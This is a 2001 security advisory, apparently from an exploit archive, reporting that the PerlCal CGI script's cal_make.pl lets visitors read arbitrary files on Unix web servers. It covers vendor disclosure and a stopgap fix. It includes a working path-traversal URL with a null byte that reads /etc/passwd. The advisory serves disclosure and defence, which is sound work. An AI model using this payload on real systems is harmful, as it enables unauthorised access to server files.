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perlcal.txt

perlcal.txt
Posted Apr 30, 2001
Authored by ThePike | Site whizkunde.org

The Unix versions of the PerlCal CGI script have vulnerabilities which allow website visitors to view any file on the webserver. Exploit URL included.

tags | exploit, cgi, vulnerability
systems | unix
SHA-256 | 6008fabe1a329e1cad455aa8c84eeb5e7a5393d69a639699c592aa9613882baf

perlcal.txt

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[whizkunde security advisory: PerlCal (CGI)]
http://www.whizkunde.org | stan@whizkunde.org

----------------------------------------------------------
Release date: April 27th 2001

Subject: PerlCal (CGI) security problem

Systems affected: *NIX (not windows) systems running
PerlCal CGI script

Vendor: http://www.perlcal.com
----------------------------------------------------------

1. problem
cal_make.pl of the PerlCal script may allow remote users
(website visitors) to view any file on a webserver (depending
on the user the webserver is running on).

Regard this URL:

http://www.VULNERABLE.com/cgi-bin/cal_make.pl?
p0=../../../../../../../../../../../../etc/passwd%00
This will display the /etc/passwd (if the webserver user has
access to this file).

2. fix
I warned the PerlCal vendor three weeks ago. After a
reaction, I gave him some time and tips to release a fix.
Because the vendor still hasn't fixed the problem and because
he didn't notice me why he hasn't released a patch yet, I
released this advisory.
I really hope the vendor will release a patch in the very
near future.
In the meantime it might be a good idea to just chmod 000
your PerlCal scripts.

----------------------------------------------------------
Stan a.k.a. ThePike
stan@whizkunde.org
http://www.whizkunde.org

Copyright whizkunde security team 2001

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